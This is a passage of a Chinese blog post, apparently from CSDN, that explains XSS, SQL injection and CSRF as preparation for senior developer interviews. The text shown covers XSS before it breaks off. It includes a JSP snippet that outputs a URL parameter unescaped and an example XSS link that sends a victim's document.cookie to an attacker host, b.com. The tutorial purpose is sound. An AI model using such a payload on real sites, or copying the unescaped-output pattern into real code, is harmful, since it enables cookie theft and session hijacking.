资深程序员之路(1)--如何保证代码是没安全漏洞的

本文探讨了资深程序员在竞标大型项目时,如何确保代码无安全漏洞,包括XSS、SQL注入和CSRF攻击的预防。介绍了XSS的DOM Based XSS和Stored XSS类型,以及防御手段如过滤体系和HTML编码。接着讨论了SQL注入的原理和防御措施,如存储过程和正则表达式过滤。最后讲解了CSRF攻击的概念、原理和防御策略,包括验证HTTP Referer字段、添加token验证和自定义HTTP头属性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一个偶然的机会需要竞标一个大项目,需要参加甲方的资深架构师面试,事先有一点准备,如何保证代码是没安全漏洞的,如何保证代码是clean的,要了解设计模式,能画出一个UML class图,如何做持续集成和部署,agile开发
上面的这些对于大多数程序员可能完全涉及不到,这些更多是概念和习惯层面的,可以区分优质的程序还是入门的。还了解到面试官是个外国人需要英语面试,压力更大一些。当然这些并不包含资深程序员应该了解的全部,更不代表了解了这些就能做项目,事实上即便不了解这些也同样能做开发,但如果面对世界五百强等有安全要求风险要求合规要求的,就很有必要掌握了。

这里逐个说一下,先从代码漏洞(Security Flaw,Security vulnerability)开始,代码安全主要涉及XSS, SQL注入检查, CSRF。

XSS攻击
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。

DOM Based XSS
DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。

场景一:
当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似:

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

<html>

    <head>

       <title>XSS测试</title>

    </head>

    <body>

       页面内容:<%=request.getParameter("content")%>

    </body>

</html>
  我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中,受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>,浏览器展示页面内
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值